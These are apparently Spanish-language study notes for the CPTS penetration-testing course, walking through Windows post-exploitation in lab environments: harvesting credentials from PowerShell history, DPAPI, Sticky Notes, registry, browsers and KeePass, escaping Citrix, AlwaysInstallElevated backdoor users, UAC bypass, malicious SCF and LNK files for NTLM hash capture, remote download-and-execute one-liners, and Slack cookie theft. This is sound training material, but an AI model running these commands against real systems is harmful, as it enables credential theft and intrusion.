(Get-PSReadLineOption).HistorySavePath
![[Pasted image 20260912153404.png]]
- Leyendo el archivo de historial de PS
gc (Get-PSReadLineOption).HistorySavePath
![[Pasted image 20260912153449.png]]
- Tambien podemos usar este comando de una liena para recuperar el contenido de todos los archivos de historial de PS a los que podamos acceder:
foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}
![[Pasted image 20260912153549.png]]
Credenciales de PS
Estas credenciales se usan a menudo en tareas de scripting y automatizacion para almacenar las credenciales cifradas protegidas por DPAPI (Data Protection API) lo que significa que solo pueden ser descifradas por el mismo usuario en el mismo ordenador
Ejemplo de script:
![[Pasted image 20260912153947.png]]
Descrifrando credenciales de PS
Si obtenemos ejecucion de comandos en contexto de este usuario podemos abusar de DPAPI para que vuelque las credenciales en el archivo pass.xml de ejemplo:
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
$credential.GetNetworkCredential().username
$credential.GetNetworkCredential().password
![[Pasted image 20260912154116.png]]
Ejemplo practico
Busca en el sistema de archivo un archivo que contenga una pass y subela
- Nos conectamos via RDP
![[Pasted image 20260912154521.png]]
- Buscamos el archivo con las credenciales que nos piden
Tenemos la pista de que hay que buscar archivos de conf dentro de C:\Users
findstr /SIM /C:"password" C:\Users\*.txt C:\Users\*.ini C:\Users\*.cfg C:\Users\*.config C:\Users\*.xml
![[Pasted image 20260912161202.png]]![[Pasted image 20260912161212.png]]
![[Pasted image 20260912161234.png]]
Conectate como bob y practica de desencriptacion de credenciales en pass.xml y sube el contendio de flag.txt en el Desktop cuando termines
- Nos conectamos via RDP y obtenemos la flag
![[Pasted image 20260912161426.png]]![[Pasted image 20260912161450.png]]
- Ubicamos el archivo con las Pass protegidas por DPAPI y lo desencriptamos
![[Pasted image 20260912161530.png]]![[Pasted image 20260912161646.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 6. Robo De Credenciales
2. Otros Archivos
Hay muchos otros tipos de archivos que pueden contener credenciales
Podemos usar Snaffler para rastrear las unidades de red compartidas en busca de extensiones como .kdbx, .vmdk, .vdhx, .ppk, etc.
Busqueda manual de credenciales en el sistema de archivos
esta hoja de referencia con comandos para busqueda manual en sistema de archivos o en unidades compartidas
- Ejemplo 1
cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
![[Pasted image 20260912162100.png]]
- Ejemplo 2
findstr /si password *.xml *.ini *.txt *.config
![[Pasted image 20260912162118.png]]
- Ejemplo 3
findstr /spin "password" *.*
![[Pasted image 20260912162124.png]]
- Buscar contenido de archivo con PS
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password
![[Pasted image 20260912162155.png]]
- Buscar por extensiones de archivos
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
![[Pasted image 20260912162224.png]]
- Buscar por extensiones de archivo
where /R C:\ *.config
![[Pasted image 20260912162251.png]]
- Buscar por extensiones de archivo
where /R C:\ *.config
![[Pasted image 20260912162326.png]]
- Buscar por extensiones de archivos usando PS
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
![[Pasted image 20260912162403.png]]
Contraseña en Sticky Notes
A veces lo usan para guardar credenciales pero este es un BBDD que se encuentra en:
C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
![[Pasted image 20260912162658.png]]
Podemos copiar los tres archivos plum.sqlite* a nuestro sistema y abrirlos con una herramienta como DB Browser for SQLite y ver la columna Text en la tabla Note con la consulta select Text from Note;
![[Pasted image 20260912163035.png]]
O podemos visualizarlos usando PS con el módulo PSSQLite
Set-ExecutionPolicy Bypass -Scope Process
cd .\PSSQLite\
Import-Module .\PSSQLite.psd1
$db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'
C:\htb> Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap
![[Pasted image 20260912163140.png]]
O usar Strings para ver el contenido del archivo BD
strings plum.sqlite-wal
![[Pasted image 20260912163216.png]]
Otros archivos de interes
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
![[Pasted image 20260912163330.png]]
Ejemplo practico
Usando las tecnias mostradas encuentra una pass en clear text para bob_adm en el sistema
- Nos conectamos via RDP
![[Pasted image 20260912163444.png]]
- Miramos archivos que en su contenido tengan bob_adm pero los que salen son solo de cannot open
![[Pasted image 20260912164143.png]]
- Miramos a ver si tiene StickyNotes y lo tiene
![[Pasted image 20260912164156.png]]
- Miramos su base de datos y encontramos la credencial
![[Pasted image 20260912164104.png]]![[Pasted image 20260912164126.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 6. Robo De Credenciales
3. Robo De Credenciales Adicional
Credenciales guardadas con CmdKey
cmdkey se puede usar para crear, listar y eliminar nombres de usuario y contraseñas almacenados. Los usuarios pueden querer almacenar credenciales para un host especifico o para conexiones de servicios de terminal y poder conectarse via RDP sin introducir la contraseña
cmdkey /list
![[Pasted image 20260912164722.png]]
Cuando intentemos conectarnos via RDP se usaran las credenciales guardadas
![[Pasted image 20260912164758.png]]
Otra forma de reutilizarlas en con runas para enviarnos un reverse shell como ese usuario:
runas /savecred /user:inlanefreight\bob "COMMAND HERE"
![[Pasted image 20260912164900.png]]
Credenciales del navegador
Recuperar las credenciales de Chrome
SharpChrome: se puede usar par recuperar cookies e inicios de sesion guardados en Google Chrome
.\SharpChrome.exe logins /unprotect
![[Pasted image 20260912165006.png]]
![[Pasted image 20260912165038.png]]
Gestores de contraseñas
Pueden ser en forma de aplicacion de escritorio como Keepass o en nube como 1Password o una boveda de credenciales empresarial como CyberArk
Algunos gestores de contraseñas como KeyPass se almacenan localmente en un .kdbx. Podremos descargar este archivo y usar keepass2john para extraer el hash y luego usar hashcat o john
python2.7 keepass2john.py ILFREIGHT_Help_Desk.kdbx
![[Pasted image 20260912165320.png]]
hashcat -m 13400 keepass_hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt
![[Pasted image 20260912165337.png]]
-m 13400 es el modo Keepass
Correo electronico
Si obtenemos acceso a un sistema unido a un dominio en el contexto de un usuario de dominio con una bandeja de entrada de Microsoft Exchange, podemos intentar buscar en el correo electrónico del usuario términos como «pass», «creds», «credentials», etc. utilizando la herramienta MailSniper.
Mas diversion con credenciales
LaZagne: intenta recuperar credenciales de una amplia variedad de sw como navegadores, clientes de chat, bases de datos, correo…
.\lazagne.exe -h
![[Pasted image 20260912165553.png]]
.\lazagne.exe all
![[Pasted image 20260912165616.png]]
Aun mas diversion con credenciales
SessionGopher: para extraer credenciales guardadas en PuTTY, WinSCP, FileZilla, SuperPuTTY y RDP. Busca descifrar la informacion de incio de sesion guardada para herramientas de acceso remoto. Se puede ejecutar local o remotamente
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target WINLPE-SRV01
![[Pasted image 20260912170111.png]]
Almacenamiento de creds en texto claro en el registro
Autologon Windows
El Autologon de Windows es una característica que permite a un usuario configurar su sistema operativo Windows para iniciar sesión automáticamente en una cuenta de usuario específica, sin requerir la entrada manual del nombre de usuario y la contraseña
El nombre de usuario y la contraseña se almacenan en el registro, en texto claro
Las claves del registro asociadas con Autologon se pueden encontrar en HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
La configuración típica de una cuenta de Autologon implica el establecimiento manual de las siguientes claves del registro:
AutoAdminLogon - Determina si Autologon está habilitado o deshabilitado. Un valor de “1” significa que está habilitado.
DefaultUserName - Contiene el valor del nombre de usuario de la cuenta que iniciará sesión automáticamente.
DefaultPassword - Contiene el valor de la contraseña para la cuenta de usuario especificada anteriormente.
- Enumerar autologon
query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
![[Pasted image 20260912170330.png]]
PuTTY
Para las sesiones de Putty que utilizan una conexión proxy, cuando se guarda la sesión, las credenciales se almacenan en el registro en texto claro.
Computer\HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\<SESSION NAME>
Ten en cuenta que los controles de acceso para esta clave de registro específica están vinculados a la cuenta de usuario que configuró y guardó la sesión. Por lo tanto, para verla, necesitaríamos iniciar sesión como ese usuario y buscar en el hive HKEY_CURRENT_USER. Posteriormente, si tuviéramos privilegios de administrador, podríamos encontrarla bajo el hive del usuario correspondiente en HKEY_USERS
- Enumerar sesiones y encontrar credenciales
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
![[Pasted image 20260912170501.png]]
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
![[Pasted image 20260912170519.png]]
Contraseña de wifi
- Ver redes inalambricas
netsh wlan show profile
![[Pasted image 20260912170558.png]]
- Recuperar las creds inalambricas guardadas
netsh wlan show profile ilfreight_corp key=clear
![[Pasted image 20260912170626.png]]
Ejemplo practico
Usando las tecnicas cubiertas devuelve el pass de sa para SQL01.inlanefreight.local
![[Pasted image 20260912170829.png]]
![[Pasted image 20260912171147.png]]
Que usuario tiene credenciales guardadas para RDP WEB01
![[Pasted image 20260912171714.png]]
![[Pasted image 20260912171740.png]]
Encuentra y sube contraseñas del usuario root que tenga acceso a https://vc01.inlanefreight.local/ui/login
![[Pasted image 20260912171854.png]]
Enumera el host y encuentra las creds para ftp.inlanefreight.local
![[Pasted image 20260912172020.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 7. Ambientes Restringidos
1. Evasion De Citrix
Muchas empresas ofrecen plataformas de virtualizacion como Terminal Services, Citrix, AWS AppStream… para ofrecer soluciones de acceso remoto y en la mayoria se implementan medidas de bloqueo para minimizar el impacto potencial de ataques
Metodologia de evasion:
- Obtener acceso a un cuadro de dialogo
- Explotar el cuadro para lograr ejecucion de comandos
- Escalar privs para obtener niveles de acceso mas altos
En algunos entornos poco restringidos puede que haya acceso directo a cmd.exe pero en entornos mas protegidos no arrajora ningun resultado al igual que intentar acceder a C:\Windows\system32 en el gestor de archivos dara error
Para el ejercicio: tras conectarte como RDP visita http://humongousretail.com/remote/auth/login.aspx e introduce las creds que se proporcionan mas adelante. Haz click en Default Desktop para obtener el archivo launch.ica para conectarte al entorno restringido
![[Pasted image 20260913124116.png]]
Omitir restricciones de ruta
Si intentamos ir a C:\Users desde el Explorador de archivos nos saldra un error, se debe a que debe haber una politica de grupo que nos permita navegar por directorios de C:\
![[Pasted image 20260913124403.png]]
Podemos usar el cuadro de dialogo de Windows como medio para omitir las restricciones impuestas
Una vez que tenemos el cuadro de dialogo el siguiente paso es intentar acceder a la carpeta que contiene ejecutables
Muchas aplicaciones tienen funcionalidades que les permiten interactuar con otros directorios del sistema como Abrir, Buscar, Explorar, Importar... esto nos dara la oportunidad de invocar un cuadro de dialogo de Windows. Algunas herramientas son:
Ejecutamos Paint, Archivo y Abrir para abrir un cuadro de dialogo:
![[Pasted image 20260913124616.png]]
En este cuadro de dialogo podemos introducir una ruta UNC como \\127.0.0.1\c$\users\pmorgan (tenemos que tener configurado Todos los archivos) y le damos a Enter
![[Pasted image 20260913124735.png]]
Acceder a un recurso compartido SMB desde un entorno restringido
Podemos usar una ruta UNC dentro de un cuadro de dialogo Windows para eludir las limitaciones
- Iniciamos un servidor SMB desde la maquina Ubuntu usando smbserver.py
smbserver.py -smb2support share $(pwd)
![[Pasted image 20260913125009.png]]
- Desde Citrix iniciamos Paint > Archivo > Abrir > \\10.13.38.85\share (Todos los archivos) > Enter
![[Pasted image 20260913125113.png]]
- Debido a las restricciones no se puede copiar, pero podemos hacer click derecho y ejecutarlos. Click derecho en el bin pwn.exe > Abrir > se abre cmd
![[Pasted image 20260913125239.png]]
El bianrio es un .c compilado que abre una cmd:
![[Pasted image 20260913125315.png]]
- Podemos usar el acceso a cmd para copiar archivos del recurso compartido:
powershell -ep bypass
xcopy \\10.13.38.95\share\ARCHIVO .
dir
![[Pasted image 20260913125437.png]]
Explorador alternativo
En casos donde las restricciones sobre el Explorador de Archivos son muy extrictas podemos usar sistemas de archivos alternavos como Q-Dir o Explorer++ que pueden eludir las restricciones
- Abrimos Explorer++ > Folders > C:\Users\pmorgan\Desktop
![[Pasted image 20260913125723.png]]
Editores de registro alternativos
Small Registry Editor
![[Pasted image 20260913125801.png]]
Si el normal esta bloqueado podemos usar alternativos: Simpleregedit, Uberregedit y SmallRegistryEditor
Modificar archivo de acceso directo existente
También se puede lograr acceso no autorizado a rutas de carpetas modificando accesos directos existentes y estrableciendo la ruta de un ejecutable deseado en el campo Destino
- Click derecho en el acceso directo
- Propiedades
![[Pasted image 20260913130126.png]]
- Destino, modificamos por la ruta del ejecutable que queramos
![[Pasted image 20260913130151.png]]
- Ejecutamos el acceso directo
![[Pasted image 20260913130212.png]]
Si no hay archivos directos, podemos transferirlo con SMB o crear uno con PS como se menciona en Interactuando con Usuarios EN LA SIGUIENTE SECCION
Ejecucion de Scripts
Cuando los archivos con las extensiones .bat .vbs o .ps estan configurados para ejecutar automaticamente su codigo usando sus interpreter, podemos crear un script que pueda darnos una consola interactiva o facilitar la descarga y ejecucion de diversas aplicaciones de terceros
- Crea un nuevo archivo de texto y lo llamamos
evil.bat
- Abrimos
evil.bat con el editor de texto Notepad
- Introducimos el comando cmd
![[Pasted image 20260913130620.png]]
- Guardamos el archivo y ejecutamos
Escalada de privs
Una vez que tenemos un cmd es mas facil buscar vulns con herramientas como Winpeas y PowerUp
Si usamos PowerUp vemos que la clave Always Install Elevated esta presente
Lo podemos validar usando cmd:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
![[Pasted image 20260913130819.png]]
Podemos usar de nuevo PowerUp con la funcion Write-UserAddMSI que facilita la creacion de un achivo .msi en el escritorio:
Import-Module .\PowerUp.ps1
Write-UserAddMSI
![[Pasted image 20260913130917.png]]
Si ejecutamos el UserAdd.msi, se crea un usuario backdoor:T3st@123 en el grupo Administrators (la cred tiene que cumplir con los criterios de complejidad)
![[Pasted image 20260913131017.png]]
Podemos ejecutar runas con el nuevo usuario y obtener contexto de admin:
runas /user:backdoor cmd
![[Pasted image 20260913131041.png]]
Omitir UAC
Aunque el usuario backdoor este en el grupo Administrators no podemos acceder a C:\Users\Administrator por que el UAC nos lo impide
![[Pasted image 20260913131456.png]]
Hay muchos scripts de bypass de UAC
Import-Module .\Bypass-UAC.ps1
Bypass-UAC -Method UacMethodSysprep
![[Pasted image 20260913131534.png]]
Tras omitir exitosamente el UAC se abre una nueva ventana de PS con privs altos que podemos confirmar con whoami /all o whoami /priv
![[Pasted image 20260913131629.png]]
Ejemplo practico
Sube la flag de C:\Users\pmorgan\Downloads
- Nos conecteamos via RDP al host objetivo
![[Pasted image 20260913131929.png]]
- Accedemos al navegador y vamos a loguearnos con las creds dadas. Nos dara un launch.ica que tendremos que ejcutar para entrar en Citrix
![[Pasted image 20260913132533.png]]
Le damos a restar later
![[Pasted image 20260913132714.png]]
- Probamos con Paint. Files > Open > Ponemos una ruta tipo UNC y aunque nos deja visualizar no nos deja abrir el archivo porque Paint no lo soporta
![[Pasted image 20260913132741.png]]
![[Pasted image 20260913132854.png]]
![[Pasted image 20260913132903.png]]
![[Pasted image 20260913132948.png]]
- Creamos un archivo TXT, lo abrimos para abrir el Notepad y hacemos lo mismo que con Paint, Ahora si no deja abrir el archivo flag.txt
![[Pasted image 20260913133116.png]]
![[Pasted image 20260913133134.png]]
![[Pasted image 20260913133252.png]]
![[Pasted image 20260913133300.png]]
![[Pasted image 20260913133314.png]]
Sube la flag de Administrator en C:\Users\Administrator\Desktop
- Nos desconectamos y ejecutamos un archivos compartido SMB en el Ubuntu donde tenemos las herramientas que necesitamos
![[Pasted image 20260913133521.png]]
![[Pasted image 20260913133735.png]]
![[Pasted image 20260913133811.png]]
2, Volvemos a loguearnos en citrix
![[Pasted image 20260913133832.png]]
- Ponemos una ruta UNC pero apuntando al servidor SMB y visualizamos las herrmamientas que teniamos en Ubuntu
![[Pasted image 20260913134050.png]]
![[Pasted image 20260913134100.png]]
- Ejecutamos pwn.exe que nos dara un cmd en Citrix
![[Pasted image 20260913134114.png]]
![[Pasted image 20260913134151.png]]
- Desde aqui abrimos un PS y copiamos PowerUp y Bypass-UAC
![[Pasted image 20260913134354.png]]
![[Pasted image 20260913134942.png]]
- Ejecutamos PowerUp para crear un usuario dentro de Administrators
![[Pasted image 20260913134555.png]]
![[Pasted image 20260913134608.png]]
- Ejecutamos runas y nos abre un cmd en contexto de ese usuario pero aun restringido por UAC
![[Pasted image 20260913134659.png]]
- Abrimos un PS y ejecutamos Bypass-UAC exitosamente por lo que ya tenemos acceso a todo
![[Pasted image 20260913135147.png]]
- Accedemos a la flag
![[Pasted image 20260913135221.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 8. Tecnicas Adicionales
1. Interactuando Con Los Usuarios
Capturando el trafico
Si Wireshark esta instaldo podriamos capturar el trafico de red
Aqui podriamos ver unas credenciales por ejemplo para FTP en texto plano:
![[Pasted image 20260913145612.png]]
Otra opcion es tcpdump, ejecutarlo durante un tiempo para ver que tipos de trafico se transmiten
net-creds puede ejecutarse desde nuestro host de ataque para sniffear creds en vivo o de un archivo .pcap. Merece la pena dejar ejecutando esta herramienta en segundo plano mientras realizamos nuestras tareas
Lineas de comando de los procesos
Monitorizacion de lineas de comandos de los procesos
Pueden haber tareas programadas o procesos que pasen credenciales por comandos. Podemos buscar estas lineas con el siguiente script:
while($true) {
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Ejecutamos el script:
IEX (iwr 'http://10.10.10.205/procmon.ps1')
![[Pasted image 20260913145957.png]]
Nos revela la contraseña del usuario sqlsvc que podriamos usar para acceder al host SQL02 o encontrar datos sensibles como las creds de la base de datos en un recurso compartido
Servicios vulnerables
Puede que estemos en un host que ejecuta una aplicacion vulnerable por ejemplo Docker Desktop Community Edition anterior a la versión 2.1.0.1
Cuando esta versión concreta de Docker se inicia, busca varios archivos diferentes, incluyendo `docker-credential-wincred.exe`, `docker-credential-wincred.bat`, etc., que no existen en una instalación de Docker. El programa busca estos archivos en `C:\PROGRAMDATA\DockerDesktop\version-bin\`. Este directorio estaba mal configurado para permitir el acceso de escritura completo al grupo `BUILTIN\Users`, lo que significa que cualquier usuario autenticado en el sistema podría escribir un archivo en él
SCF (archivo de comandos) en un recurso compartido de archivos
Estos archivos son usados por el Explorador de Windows para subir y bajar directorios, mostrar Escritorio… Este puede ser manipulado para que la ubicacion del archivo apunte a una ruta UNC y hacer que el Explorador inicie sesion SMB cuando accede a la carpeta donde reside el SCF
Si cambiamos el IconFile a un servidor SMB y activamos alguna herramienta como Responder, Inveigh, o InveighZero podremos capturar hashes de contraseñas de cualquier usuario que navegue al recurso compartido
Puede ser muy util si obtenemos permisos de escritura a un recurso comparitdo muy usado
Archivo SCF malicioso
Creamos un archivo que llamaremos @Inventory.scf (le ponemos @ para que salga en la parte de arriba del directorio y asegurarnos de que sea visto y ejecutado por el Explorador tan pronto como acceda el usuario al recurso compartido). Tenemos que poner la direccion IP tun0
[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop
Iniciando Responder
sudo responder -w -v -I tun0
![[Pasted image 20260913150839.png]]
![[Pasted image 20260913150851.png]]
Crackeando hashes NTLMv2
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
![[Pasted image 20260913150919.png]]
Capturando hashes con un archivo .lnk malicioso
Los SCF ya no funcionan desde Windows Server 2019 pero podemos lograr lo mismo con un .lnk malicioso
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
Ejemplo practico
Usando las tecnicas enseñadas obten las creds en texto plano de SCCM_SVC
- Nos conectamos via RDP
![[Pasted image 20260913151242.png]]
- Abrimos un recurso compartido que podamos escribir y que sea muy transitado. Aqui creamos un archivo .scf malicioso
![[Pasted image 20260913151450.png]]
![[Pasted image 20260913151545.png]]
![[Pasted image 20260913151705.png]]
- Ejecutamos responder para recoger las conexiones al recurso compartido y obtenemos el hash del usuario
![[Pasted image 20260913151727.png]]
![[Pasted image 20260913152323.png]]
- Lo crackeamos
![[Pasted image 20260913152443.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 8. Tecnicas Adicionales
2. Saqueo
Proceso de obtener informacion de un sistema comprometido (info personal, planos, datos de tarjetas…)
Fuentes de datos
Estas son fuentes de las que podemos obtener informacion de los sistemas comprometidos:
- Aplicaciones instaladas
- Servicios instalados
- Sitios web
- Recursos compartidos de archivos
- Bases de datos
- Servicios de Directorio (como Active Directory, Azure AD, etc.)
- Servidores de Nombres
- Servicios de Despliegue
- Autoridad de Certificación
- Servidor de Gestión de Código Fuente
- Virtualización
- Mensajería
- Sistemas de Monitoreo y Registro
- Copias de seguridad
- Datos Sensibles
- Registro de pulsaciones de teclas (Keylogging)
- Captura de pantalla
- Captura de tráfico de red
- Informes de auditorías anteriores
- Información del Usuario
- Archivos de historial, documentos interesantes (.doc/x,.xls/x,password./pass., etc)
- Roles y Privilegios
- Navegadores Web
- Clientes de Mensajería Instantánea
Escenario
Hemos conseguido apoyo en un servidor Windows
![[Pasted image 20260913152921.png]]
Aplicaciones instaladas
Podemos encontrarnos con muchas aplicaciones desconocidas en los sistemas que comprometimos. Aprender y entender cómo estas aplicaciones se conectan con el negocio es esencial para lograr nuestro objetivo.
Podemos usar dir o ls en Program Files y Program Files (x86)
![[Pasted image 20260913153051.png]]
Otra opcion es usar PS para leer el registro Windows y recopilar informacion granular sobre los programas instaldos
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize
![[Pasted image 20260913153204.png]]
Podemos ver que el sw mRemoteNG esta instalado. Esta es una herramienta para gestionar y conectarse a sistemas remotos VNC, RDP, SSH…
mRemoteNG
Guarda informacion de conexion y las credenciales en un archivo llamado confCons.xml. Utiliza una contraseña maestra codificada mR3m por lo que si alguien las guarda aqui sin contraseña podremos verlas
Este archivo se encuentra en:
%USERPROFILE%\APPDATA\Roaming\mRemoteNG
![[Pasted image 20260913154306.png]]
Vemos el contenido del archivo:
![[Pasted image 20260913154336.png]]
Este documento contiene un elemento raiz llamado Connections con informacion sobre el cifrado usado para las credenciales y atributo Protected que corresponde con la contraseña maestra usada para proteger el documento
Podemos usar esta cadena para intentar crackearla
Los elementos Nodes tienen info del sistema como nombre de usuario, dominio, hostname, protocolo y contraseña
Si no se establecio contraseña maestra podemos usar mRemoteNG-Decrypt para descifrar las contraseñas
python3 mremoteng_decrypt.py -s "sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkerig=="
![[Pasted image 20260913154722.png]]
Ahora veamos un archivo de configuracion cifrado por una cred personalizada, por ejemplo admin:
![[Pasted image 20260913154804.png]]
Si ahora intentamos descrifrar Password nos dara error
![[Pasted image 20260913154831.png]]
Si usamos la cred personaliza admin podremos descifrarla:
python3 mremoteng_decrypt.py -s "EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2n8AR477ecJi5Y0E/kiakA==" -p admin
![[Pasted image 20260913154903.png]]
Intento de crackear la contraseña maestra usando varias contraseñas:
for password in $(cat /usr/share/wordlists/fasttrack.txt);do echo $password; python3 mremoteng_decrypt.py -s "EBHmUA3DqM3sHushZtOyanmMowr/M/hd8KnC3rUJfYrJmwSj+uGSQWvUWZEQt6wTkUqthXrf2n8AR477ecJi5Y0E/kiakA==" -p $password 2>/dev/null;done
![[Pasted image 20260913155021.png]]
Abusando de Cookies para obtener acceso a clientes de mensajeria instantanea
Con la capacidad de enviar mensajes instantáneamente entre compañeros de trabajo y equipos, las aplicaciones de mensajería instantánea (IM) como Slack y Microsoft Teams se han convertido en elementos básicos de las comunicaciones
Existen múltiples opciones para obtener acceso a un cliente de mensajería instantánea; un método estándar es utilizar las credenciales del usuario para acceder a la versión en la nube de la aplicación
Si el usuario utiliza alguna forma de autenticación multifactor (multi-factor authentication), o no podemos obtener las credenciales del usuario en texto plano, podemos intentar robar las cookies
Usemos Slack como ejemplo. Hay una herramienta llamada SlackExtract lanzada en 2018, que era capaz de extraer mensajes de Slack. Su investigación discute la cookie llamada d, que Slack utiliza para almacenar el token de autenticación del usuario. Si podemos conseguir esa cookie, podremos autenticarnos como el usuario. En lugar de usar la herramienta, intentaremos obtener la cookie de Firefox o de un navegador basado en Chromium y autenticarnos como el usuario
Firefox guarda las cookies en una base de datos SQLite en un archivo llamado cookies.sqlite
%APPDATA%\Mozilla\Firefox\Profiles\<RANDOM>.default-release
- Copiar la BBDD
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
- Extraer la cookie de Slack de la BBDD de cookies Firefox cookieextractor.py
python3 cookieextractor.py --dbpath "/home/plaintext/cookies.sqlite" --host slack --cookie d
![[Pasted image 20260913155720.png]]
- Usando Cookie-Editor añadimos la cookie
![[Pasted image 20260913155807.png]]
- Navegamos a slack.com y una vez cargue:
![[Pasted image 20260913155914.png]]
- Guarfamos, refrescamos y vemos que hemos iniciado sesion
![[Pasted image 20260913155936.png]]
- Le damos a Launch y si nos vuelve a pedir credenciales repetimos el proceso
![[Pasted image 20260913160020.png]]
- Una vez dentro podemos buscar creds
![[Pasted image 20260913160103.png]]
El navegador basado en Chromium también almacena su información de cookies en una base de datos SQLite. La única diferencia es que el valor de la cookie está cifrado con la API de Protección de Datos (DPAPI)
Para obtener el valor de la cookie, necesitaremos realizar una rutina de descifrado desde la sesión del usuario que hemos comprometido. Afortunadamente, una herramienta SharpChromium hace lo que necesitamos
- Usamos SharpChromium
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSh arpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')
Invoke-SharpChromium -Command "cookies slack.com"
![[Pasted image 20260913160247.png]]
Nos da error porque donde esta buscando SharpChromium no esta el archivo. Podemos modificar el codigo o copiar el archivo donde lo esta buscando
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
- Copiamos las cookies en la ubicacion esperada:
copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"
- Extraemos las cookies:
Invoke-SharpChromium -Command "cookies slack.com"
![[Pasted image 20260913160449.png]]
- Hacemos lo mismo con Cookie-Editor
Portapapeles
Atacando Servidores de Copias de Seguridad
Usemos restic como ejemplo. Restic es un programa de copia de seguridad moderno que puede hacer copias de seguridad de archivos en Linux, BSD, Mac y Windows.
Para empezar a trabajar con restic, debemos crear un repositorio (el directorio donde se almacenarán las copias de seguridad). Restic comprueba si la variable de entorno RESTIC_PASSWORD está establecida y utiliza su contenido como contraseña para el repositorio. Si esta variable no está establecida, pedirá la contraseña para inicializar el repositorio y para cualquier otra operación en este repositorio.
Usaremos restic 0.13.1 y haremos una copia de seguridad del repositorio C:\xampp\htdocs\webapp en el directorio E:\restic\. Para descargar la última versión de restic, visita https://github.com/restic/restic/releases/latest. En nuestra máquina objetivo, restic se encuentra en C:\Windows\System32\restic.exe.
- Creamos e inicializamos la ubicacion donde se guarda nuestra copia de seguridad llamada repositorio:
mkdir E:\restic2; restic.exe -r E:\restic2 init
![[Pasted image 20260913160814.png]]
- Creamos nuestra primera copia de seguridad:
$env:RESTIC_PASSWORD = 'Password'
restic.exe -r E:\restic2\ backup C:\SampleFolder
![[Pasted image 20260913160847.png]]
- Si queremos hacer una copia de seguridad de un directorio como
C:\Windows, que tiene algunos archivos utilizados activamente por el sistema operativo, podemos usar la opción --use-fs-snapshot para crear una VSS (Volume Shadow Copy) para realizar la copia de seguridad.
restic.exe -r E:\restic2\ backup C:\Windows\System32\config --use-fs-snapshot
